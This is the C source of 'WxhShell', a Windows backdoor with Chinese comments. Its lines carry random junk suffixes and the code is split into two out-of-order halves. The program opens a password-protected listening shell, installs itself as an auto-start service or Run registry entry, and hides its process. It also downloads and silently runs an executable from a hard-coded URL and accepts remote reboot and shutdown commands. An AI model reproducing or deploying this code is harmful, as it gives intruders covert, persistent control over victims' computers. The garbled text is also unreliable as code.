    closesocket(wsh); ;*{"|l qe  
    ExitThread(0); y  J|/^qs  
    } {beu  
    break; gWk?g^KJL  
    } ZYS`M?Au  
  // 获取shell EKgY  
  case 's': { ^U q%-a  
    CmdShell(wsh); MiK -W  
    closesocket(wsh); ~`Y!_'(x  
    ExitThread(0); o}4~CN9}  
    break; b#%$y  
  } CE5A^,EsB  
  // 退出 #Vy8<Vy&w  
  case 'x': { ayGcc`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  g)Tr#  
    CloseIt(wsh); n[K LY!  
    break; | V: 9 ][\  
    } Rs@>LA  
  // 离开 1fH2obI~X  
  case 'q': { ?W 6 :$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (-D^_*f  
    closesocket(wsh); )FdS;]  
    WSACleanup(); .vnQZ*6  
    exit(1); { 1eW*9  
    break; 5r1u_8)'  
        } A.9ZFFz  
  } c4f3Dr'xw  
  } ;x|7"lE  
h`n) b  
  // 提示信息 JT p+&NS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ('~}$%C  
} Yycfb  
  } V/&JArW  
]*Cq'<h$  
  return; '" 4;;(  
} [C#H _y(  
r!<)CT}D  
// shell模块句柄 diWi0@  
int CmdShell(SOCKET sock) OZR{+YrB^  
{ ( 5 BZZ  
STARTUPINFO si; ^ 'ws/(  
ZeroMemory(&si,sizeof(si)); ["_+~*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I~ 1Rt+:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m9=93W?   
PROCESS_INFORMATION ProcessInfo; Pi hpo  
char cmdline[]="cmd"; J#DN2y <  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )Drif\FF)  
  return 0; i7b^b>B|e  
} RsW4 '5  
ffQm"s:P  
// 自身启动模式 N(l  
int StartFromService(void) $DlO<  
{ hLr\;Swyp  
typedef struct kQ`p\}7_  
{ :Vy*MPS5  
  DWORD ExitStatus; (nwp s  
  DWORD PebBaseAddress; #OlPnP2  
  DWORD AffinityMask; "s.hO0Z  
  DWORD BasePriority; [Y4Wm?  
  ULONG UniqueProcessId; Z,oCkv("n  
  ULONG InheritedFromUniqueProcessId; .*X=JFxl  
}   PROCESS_BASIC_INFORMATION; U1W8f|u  
:6 qt[(<"  
PROCNTQSIP NtQueryInformationProcess; ] T<#bNK\1  
|va^lT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TT oW>RP#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %i.Prckrb  
fZp3g%u  
  HANDLE             hProcess; |s,y/svp  
  PROCESS_BASIC_INFORMATION pbi; K: |-s4=  
h])oo:u'/Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -%dBZW\u2  
  if(NULL == hInst ) return 0; ?IG[W+M8  
8},:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DLN zH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q+BG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3T/&T`T+c  
:O7n*lwx  
  if (!NtQueryInformationProcess) return 0; je`Inn<  
Ro_jfM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z7NR%u_|[  
  if(!hProcess) return 0; ?=im  ~  
7h.fT`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `pjB^--w  
M0T z('~s  
  CloseHandle(hProcess); h'+F'1=  
8#w%qij  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ME66BWg{  
if(hProcess==NULL) return 0; <.2jQ#So  
lPD&Doa  
HMODULE hMod; M.HMn N#  
char procName[255]; RT(ejkLZm  
unsigned long cbNeeded; ?G<ISiABQC  
sDY+J(Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4Y{;%;-i  
%=Y=]g2  
  CloseHandle(hProcess); -Jf}3$Ra  
1aZGt2;  
if(strstr(procName,"services")) return 1; // 以服务启动 D"2bgw  
w"37sv  
  return 0; // 注册表启动 H>Ucmd;ay  
} CDPu(,^  
+i#s |kKs\  
// 主模块 }>EWF E`  
int StartWxhshell(LPSTR lpCmdLine) H:P7G_!\  
{ K)  Ums-b  
  SOCKET wsl; !L@<?0x LW  
BOOL val=TRUE; Bg] %  
  int port=0; Ylyk/  
  struct sockaddr_in door; gZiwXb  
X:lStO#5  
  if(wscfg.ws_autoins) Install(); RL )~J4Y  
8rjD1<  
port=atoi(lpCmdLine); tyWDa$u,u  
7xFZJ#  
if(port<=0) port=wscfg.ws_port; lwz\" 8  
a;v4R[lQ  
  WSADATA data; F+ 7*SImv6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $fB j}\o  
O~v~s ' c&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ! ,0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3 /PvH E{R  
  door.sin_family = AF_INET; ` Z/ MQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e0#t  
  door.sin_port = htons(port); 'tDUPm38  
_''un3eCY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /\;m/cwrl"  
closesocket(wsl); MMUlA$*t  
return 1; BOh^oQh  
} B[q"o I`  
@qYT/V*/  
  if(listen(wsl,2) == INVALID_SOCKET) { a6Joa&`dv  
closesocket(wsl); +,]VXH<y  
return 1; <s7cCpUFP  
} [9B1%W  
  Wxhshell(wsl); 0OQ*V~>f  
  WSACleanup(); `/?'^A%Ik  
=6+99<G|%M  
return 0; +xgP&nw[-  
3Fxr=  
} a4gX@&it_k  
AW E ab  
// 以NT服务方式启动 awI{%u_(nA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y%?*Lj|  
{ bdY:-8!3  
DWORD   status = 0; nt+OaXe5D  
  DWORD   specificError = 0xfffffff; (,tu7u{  
m=+x9gL2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3<xDxj 0<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >x3lA0m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B^]PKjLNZ  
  serviceStatus.dwWin32ExitCode     = 0; IibYGF  
  serviceStatus.dwServiceSpecificExitCode = 0; H cyoNY  
  serviceStatus.dwCheckPoint       = 0; [q C0YM  
  serviceStatus.dwWaitHint       = 0; Nd+1r|e'  
GKjtX?~1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u>G9r#~`k  
  if (hServiceStatusHandle==0) return; 9zS   
x(xi%?G  
status = GetLastError(); `R>z{-@=  
  if (status!=NO_ERROR) ,Si{]y  
{ Z1:%Aq xP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .Zj`_5C  
    serviceStatus.dwCheckPoint       = 0; C\aHr!  
    serviceStatus.dwWaitHint       = 0; pkae91  
    serviceStatus.dwWin32ExitCode     = status; ji ./m8(  
    serviceStatus.dwServiceSpecificExitCode = specificError; G~v:@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~;a \S3  
    return; \gB ~0@[\7  
  } #r]Z2Y]  
.)_2AoT7[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~#jiX6<I  
  serviceStatus.dwCheckPoint       = 0; 7Xu#|k  
  serviceStatus.dwWaitHint       = 0; zA8@'`Id  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1DhC,)+D}q  
} d6 ef)mw  
ajtH 1Z#  
// 处理NT服务事件,比如:启动、停止 -*MY7t3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @4D{lb"{  
{ ^=n7E  
switch(fdwControl) Q$:Q6 /5.  
{ \wk;Bo  
case SERVICE_CONTROL_STOP: @fJsRWvGq  
  serviceStatus.dwWin32ExitCode = 0; CoNaGb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -4sKB>b  
  serviceStatus.dwCheckPoint   = 0; ux)*B}/xh  
  serviceStatus.dwWaitHint     = 0; _^NaP  
  { 6% ofS8 [  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _@!vF,Wcf  
  } abm 3q!a-  
  return; Um 6}h@>  
case SERVICE_CONTROL_PAUSE: d1/9 A-{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @ci..::5  
  break; *d;TpwUI  
case SERVICE_CONTROL_CONTINUE: Q}OloA(+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z\EA!Cs3  
  break; 8cG`We8l&  
case SERVICE_CONTROL_INTERROGATE: Vub6wb<G[  
  break; +(92}~RK  
}; ~F@n `!c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .pQ5lK(R  
} <j>;5!4!}  
)\EIXTZY=  
// 标准应用程序主函数 r6'dEa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _1qR1< V  
{ Wm`*IBWA  
p\&/m  
// 获取操作系统版本 7xv9v1['  
OsIsNt=GetOsVer(); R"V90bCf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *bf 5A9  
?z#*eoPr  
  // 从命令行安装 Fd\uTxykp  
  if(strpbrk(lpCmdLine,"iI")) Install(); E V)H>kM  
l^nvwm`f#:  
  // 下载执行文件 q%e'WMG~n  
if(wscfg.ws_downexe) { H~nX! sO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >MN"87U6  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?%UiW7}j';  
} JJ ?'<)EF  
e4SS'0|  
if(!OsIsNt) { 7=^}{  
// 如果时win9x,隐藏进程并且设置为注册表启动 k[ zyR  
HideProc(); o]Ne|PEpO  
StartWxhshell(lpCmdLine); ]!"w?-h Si  
} EI6kBRMo  
else su%-b\8K  
  if(StartFromService()) Ih|4ISI  
  // 以服务方式启动 [)s4:V  
  StartServiceCtrlDispatcher(DispatchTable); &RARK8 ^  
else 1Ub=RyB  
  // 普通方式启动 9QXsbd6  
  StartWxhshell(lpCmdLine); aH?Ygzw  
<_<zrXc]  
return 0; KFHZ3HZ:>  
} T=tW'tlT\v  
=3QhGFd  
(b//YyqN  
ub-e!{  
=========================================== FEu"b@v  
g/!MEOVx  
V~j^   
OxGfLeP.R!  
1L4-;HYJm  
zHZfp_I  
" [;Lgbgt3f  
V&:x+swt  
#include <stdio.h> G&^8)S@1  
#include <string.h> <i</pA  
#include <windows.h> !>> A@3  
#include <winsock2.h> %K|f,w=m  
#include <winsvc.h> $.4A?,d  
#include <urlmon.h> L<@*6QH  
 5)'Y\~2  
#pragma comment (lib, "Ws2_32.lib") ajk}&`Wj"  
#pragma comment (lib, "urlmon.lib") B2Y.1mXq  
NL$z4m0  
#define MAX_USER   100 // 最大客户端连接数 Slg *[r#  
#define BUF_SOCK   200 // sock buffer F<g&t|@  
#define KEY_BUFF   255 // 输入 buffer 6c-3+,Y"#  
?[zw5fUDS  
#define REBOOT     0   // 重启 s0;a j<J  
#define SHUTDOWN   1   // 关机 InbB2l4G  
hQ<7k'V  
#define DEF_PORT   5000 // 监听端口 xRacgny:I  
\XV8t|*  
#define REG_LEN     16   // 注册表键长度 /Q(boY{  
#define SVC_LEN     80   // NT服务名长度 V sl,u  
uc@4fn  
// 从dll定义API l$\2|D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v:4j 3J$z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ; >H1A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CYy=f-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -_t4A *  
XJeWhk3R9  
// wxhshell配置信息 ptT-{vG  
struct WSCFG { 02t({>`  
  int ws_port;         // 监听端口 Ue 9Y+'-x  
  char ws_passstr[REG_LEN]; // 口令 _-y1>{]H  
  int ws_autoins;       // 安装标记, 1=yes 0=no TYGI f4z  
  char ws_regname[REG_LEN]; // 注册表键名 56<UxIa~  
  char ws_svcname[REG_LEN]; // 服务名 tdxzs_V,-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]-X6Cl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bpZA% {GS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uPl}NEwU|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &"K_R(kN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &Ril[siw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 __ 9FQ{Ra  
7>gjq'0  
}; mW'3yM  
6H'A]0  
// default Wxhshell configuration ?j/FYi  
struct WSCFG wscfg={DEF_PORT, |8CxMs  
    "xuhuanlingzhe", %Hd[,duwO  
    1, Ez|NQ:o  
    "Wxhshell", LEPLoF3,  
    "Wxhshell", *4%pXm;  
            "WxhShell Service", E Ou[X'gLr  
    "Wrsky Windows CmdShell Service", ) dk|S\  
    "Please Input Your Password: ", 9!X3Cv|+L  
  1, v%cCJ SO#  
  "http://www.wrsky.com/wxhshell.exe", B_ict)}ld  
  "Wxhshell.exe" !xck ~EAS  
    }; Z[*unIk  
lH=|Qu  
// 消息定义模块 5Z_C (5)/Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zTB&Wlt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u>9` ?O44  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Vu.=,G  
char *msg_ws_ext="\n\rExit."; vq(#Ih2  
char *msg_ws_end="\n\rQuit."; L#K`F8Wi=  
char *msg_ws_boot="\n\rReboot..."; <">epbV6  
char *msg_ws_poff="\n\rShutdown..."; C3W4:kbau  
char *msg_ws_down="\n\rSave to "; yYJ_;Va  
M;y*`<x  
char *msg_ws_err="\n\rErr!"; zJy=1r  
char *msg_ws_ok="\n\rOK!"; YdO*5Gb6  
<!>\ n\A  
char ExeFile[MAX_PATH]; tlp,HxlP  
int nUser = 0; ZN)EbTpc\a  
HANDLE handles[MAX_USER]; <(>t"<  
int OsIsNt; 9.\SeJ8c  
*`"+J_   
SERVICE_STATUS       serviceStatus; #'1dCh vZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /Z?o%/bw:  
_?O'A"  
// 函数声明 -V{"Lzrfug  
int Install(void); 7d%x7!E   
int Uninstall(void); ,uC-^T |n  
int DownloadFile(char *sURL, SOCKET wsh); Skci;4T(  
int Boot(int flag); 1}la)lC  
void HideProc(void); k^;n$r"i5  
int GetOsVer(void); wO%lM  
int Wxhshell(SOCKET wsl); s$pXn&:  
void TalkWithClient(void *cs); 8&8!(\xv  
int CmdShell(SOCKET sock); <9X@\uvU.<  
int StartFromService(void); yR|2><A  
int StartWxhshell(LPSTR lpCmdLine); uFSU|SDd.  
5GScqY,aB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \78^ O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n?cC]k;P~  
$Okmurnn  
// 数据结构和表定义 .5a>!B.I  
SERVICE_TABLE_ENTRY DispatchTable[] = *KDTBd  
{ LXX('d  
{wscfg.ws_svcname, NTServiceMain}, HJ]v-  
{NULL, NULL} >D!R)W`  
}; rwXpB<@l@  
03 gbcNo  
// 自我安装 50 Gr\  
int Install(void) '(B -{}l  
{ ~wuCa!!A  
  char svExeFile[MAX_PATH]; yC1OeO8{  
  HKEY key; {p1`[R&n#  
  strcpy(svExeFile,ExeFile); N8Rq7i3F?a  
bT 42G [x  
// 如果是win9x系统,修改注册表设为自启动 n',X,P0  
if(!OsIsNt) { ! 1I# L!9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )  M0(vog  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q /?`);  
  RegCloseKey(key); R q@|o5O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L>IP!.J]?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w;ZT-Fti  
  RegCloseKey(key); <}[ !k<  
  return 0; jw{N#QDh  
    } `ZEFH7P  
  } ,zx{RDI  
} c6vJ;iz  
else { }nPt[77U_7  
C8|Ls(4Ck  
// 如果是NT以上系统,安装为系统服务 + GQ{{B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $,by!w'e:l  
if (schSCManager!=0) D%o(HS\E  
{ x+4K,r;  
  SC_HANDLE schService = CreateService 7<]&pSt=  
  ( %OgK{h  
  schSCManager, i kfJ!f  
  wscfg.ws_svcname, K_L7a>Fr  
  wscfg.ws_svcdisp, $7AsMlq[(  
  SERVICE_ALL_ACCESS, ,V 52Fj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Cydo~/  
  SERVICE_AUTO_START, u|}\Af  
  SERVICE_ERROR_NORMAL, u~uz=Yse  
  svExeFile, L@T/4e./  
  NULL, Kt*b) <  
  NULL, HcIJ&".~  
  NULL, A)9]^@,  
  NULL, ]pe7I P  
  NULL wnd #J `  
  ); (LTu=1  
  if (schService!=0) 8m' f8.x  
  { x`7Le&4f  
  CloseServiceHandle(schService); K>.}>)0  
  CloseServiceHandle(schSCManager); </_QldL_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,H6P%  
  strcat(svExeFile,wscfg.ws_svcname); j%` C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @uyQH c,V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o`Z3}  
  RegCloseKey(key); aMe &4Q  
  return 0; Vn5%%?]J  
    } yT OZa-  
  } ib(|}7Je  
  CloseServiceHandle(schSCManager); bgE]Wk0  
} 0o$RvxJ  
} 0(+<uo~6p1  
A<c<!N  
return 1; ktqFgU#rT  
} Jm CHwyUK?  
? 0X$ox  
// 自我卸载 @Un/,-ck  
int Uninstall(void) ;/+<N  
{ [/hoNCH!  
  HKEY key; zu?112-v2  
-x6_HibbD  
if(!OsIsNt) { LI}e_= E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )2y [#Blo  
  RegDeleteValue(key,wscfg.ws_regname); ! U@ETo  
  RegCloseKey(key); NqF*hat  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KtAEM;g  
  RegDeleteValue(key,wscfg.ws_regname); [\Wl~ a l  
  RegCloseKey(key); moFrNcso  
  return 0; Jk}3c>^D  
  } ?& :N|cltD  
} ^NU_Tp:2^  
} \,NT5>  
else { ]p+KN>1e  
X_X7fRC0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gHp4q!SJ7  
if (schSCManager!=0) yx?oxDJg  
{ tBzE(vW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [K #$W  
  if (schService!=0) XO?WxL9k]  
  { +?6]Vu&|f  
  if(DeleteService(schService)!=0) { SPb`Q"  
  CloseServiceHandle(schService); g~21|Sa$[  
  CloseServiceHandle(schSCManager); /xgC`]-  
  return 0; qdk!.A{   
  } Vr1r2G2  
  CloseServiceHandle(schService); bl!pKOY  
  } qh>An;:u  
  CloseServiceHandle(schSCManager); j^#\km B  
} _s#J\!F  
} WVQHb3Pe0  
TVvE0y(9  
return 1; DmgDhNXKq  
} $Xo_8SX,  
FP{=b/  
// 从指定url下载文件 MbYgGE,LA  
int DownloadFile(char *sURL, SOCKET wsh) 4V[(RXc/  
{ 5);"()g32  
  HRESULT hr; 2IHS)kkT|  
char seps[]= "/"; =4x6v<  
char *token; ;LC|1_ '  
char *file; y /8iEs  
char myURL[MAX_PATH]; NlhC7  
char myFILE[MAX_PATH]; fMf;  
D3g5#.$,}>  
strcpy(myURL,sURL); +-t&li%F  
  token=strtok(myURL,seps); (Q `Ps /  
  while(token!=NULL) x^[0UA]S9  
  { !|VtI$I>x  
    file=token; sDgo G  
  token=strtok(NULL,seps); ,eOZv=:  
  } BHz_1+d  
s!gVY!0  
GetCurrentDirectory(MAX_PATH,myFILE); F_@` <d!  
strcat(myFILE, "\\"); %eHr^j~w$  
strcat(myFILE, file); -2laM9Ed  
  send(wsh,myFILE,strlen(myFILE),0); #Z]Cq0=  
send(wsh,"...",3,0); )=glN<*?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?:GrM!kq76  
  if(hr==S_OK) zBI2cB8;P  
return 0; R ^@`]dX$  
else &>.QDO  
return 1; ,lCFe0>k!=  
+c]D2@ctG  
} S~z$ =IiB  
H,;ZFg/v8  
// 系统电源模块 KvPLA{  
int Boot(int flag) H^B,b !5i  
{ xV`)?hEXFh  
  HANDLE hToken; hms Aim9i  
  TOKEN_PRIVILEGES tkp; mOjjw_3gq  
*.$ov<E.  
  if(OsIsNt) { &j'k9C2p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kMzDmgoxNg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); * kL>9  
    tkp.PrivilegeCount = 1; ):+^893)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k|]l2zlT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }7%ol&<@  
if(flag==REBOOT) { YuoErP=P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M?gZKdj  
  return 0; $y<`Jy]+)~  
} _wg~5'w8  
else { 6>)KiigZ\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _Co v>6_i  
  return 0; iRW5*-66f  
} .aK=z)  
  } \8{Tj54NA  
  else { 2l+'p[b0>  
if(flag==REBOOT) { 02^\np  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Zia6m[^Q  
  return 0; ex|)3|J  
} _{B2z[G}  
else { v+C D{Tc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~d3BVKP5  
  return 0; #N=_-  
} ](ztb)  
} 4Im}!q5;:<  
)OlYz!#?  
return 1; KJ-Q$ M  
} (a,`Y.  
0icB2Jm:D}  
// win9x进程隐藏模块 JO87rG  
void HideProc(void) ]/R>nT  
{ ]YD qmIW  
"tK3h3/Xv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); La^Zr,T!  
  if ( hKernel != NULL ) N0 t26| A  
  { (hY^E(D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Jju?v2y`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1mEW]z  
    FreeLibrary(hKernel); zb9vUxN [  
  } m1p% ,  
hB:+_[=Kj.  
return; K^I$05idi  
} )gR3S%Ju  
[h\_yU[ P  
// 获取操作系统版本 7vH4}S\ q  
int GetOsVer(void) .L]2g$W\p  
{ brn>FFAwO  
  OSVERSIONINFO winfo; @:9mTP7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~3Z(0 gujD  
  GetVersionEx(&winfo); Xn<|6u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D{t0OvQag  
  return 1; h!hv{c  
  else .R^]<b:`  
  return 0; $- Z/UHT  
} 38JU-aq  
i079 V  
// 客户端句柄模块  q,'~=Y5  
int Wxhshell(SOCKET wsl) Dt]FmU  
{ Hc q@7g  
  SOCKET wsh; f K4M:_u  
  struct sockaddr_in client; WN#dR~>  
  DWORD myID; Hp fTuydU  
=0U"07%}  
  while(nUser<MAX_USER) |@ZyD$?  
{ jm |zn  
  int nSize=sizeof(client); Rn whkb&&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y+VR D  
  if(wsh==INVALID_SOCKET) return 1; k#@)gL  
;Y &2G'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C2%Yry  
if(handles[nUser]==0) JAL"On#c#0  
  closesocket(wsh); Ly/5"&HD  
else Cmj `WSSa  
  nUser++; 'ka"0~:NS{  
  } stCFLYox  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yD ur9Qd6  
Nk>6:Ho{G  
  return 0; ZOzyf/?.  
} rmnnV[@o  
4_Rv}Y d  
// 关闭 socket &-Z#+>=H(  
void CloseIt(SOCKET wsh) :Z5kiEwYM  
{ 23UXOY0BW  
closesocket(wsh); vf_pEkx*wD  
nUser--; v-Uz,3  
ExitThread(0); bNz2Uo!0K  
} _ID =]NJ_  
1]jUiX=T  
// 客户端请求句柄 E!>l@ ki  
void TalkWithClient(void *cs) 6HR*)*>z_  
{ ]h&?^L<.  
M$LzV}k  
  SOCKET wsh=(SOCKET)cs; QjUojHz%Z  
  char pwd[SVC_LEN]; ;W#/;C _h  
  char cmd[KEY_BUFF]; '#8;bU  
char chr[1]; AzBpQb*  
int i,j; c6pGy%T-  
S4X['0rX!  
  while (nUser < MAX_USER) { E{|n\|  
+Sdki::  
if(wscfg.ws_passstr) { $U5$*R@jo[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 51M'x_8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rxIYgh  
  //ZeroMemory(pwd,KEY_BUFF); v]KI=!Gs  
      i=0; y/A<eHLy  
  while(i<SVC_LEN) { @Cd}1OT)  
}A_>J7w  
  // 设置超时 ~f%AbDye  
  fd_set FdRead; cE]#23  
  struct timeval TimeOut; o)6udRzBv  
  FD_ZERO(&FdRead); 8"S? Toqq  
  FD_SET(wsh,&FdRead); evGUSol?:n  
  TimeOut.tv_sec=8; ?"q S%EH  
  TimeOut.tv_usec=0; 7llEB*dSA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }\\6"90g*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T]J#>LBd  
zzBqb\Ky  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'Xzi$}E D  
  pwd=chr[0]; ^-7{{/  
  if(chr[0]==0xd || chr[0]==0xa) { H~"XlP  
  pwd=0; / k8;k56  
  break; Y3wL EG%,:  
  } /T2f~1R  
  i++; x?Oc<CQ-2  
    } ( G6N@>V(`  
uv dx>5]  
  // 如果是非法用户,关闭 socket A&fh0E (t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c )o[3o7  
} ]^\+B4  
@AdJu-u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0CO6-&F9n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TS<uBX  
IyA8+N y  
while(1) { 9Fh(tzz  
*Cgd?*\7  
  ZeroMemory(cmd,KEY_BUFF); zuZlP  
&gR)bNIC_=  
      // 自动支持客户端 telnet标准   H}c, P('  
  j=0; }"?K Hy  
  while(j<KEY_BUFF) { %z0@4G q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q,`Y  
  cmd[j]=chr[0]; 6.'+y1yS)  
  if(chr[0]==0xa || chr[0]==0xd) { |]H2a;vUJR  
  cmd[j]=0; Wh> Y_ k  
  break; a?!Joi[  
  } NeyGIEP  
  j++; /`Lki>"  
    } W\<5'9LNb  
y0' "  
  // 下载文件 w8g36v*+(u  
  if(strstr(cmd,"http://")) {  0-+`{j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vkb&' rXw+  
  if(DownloadFile(cmd,wsh)) ^i^S1h"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2={ g'k(  
  else d|sI>6jD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w65 $ R  
  } ;3_Q7;y  
  else { <!|2Ru  
GS3ydN<v  
    switch(cmd[0]) { 2WOdTM{u  
  7iKbd  
  // 帮助 rbP3&L  
  case '?': { yx}Z:t  
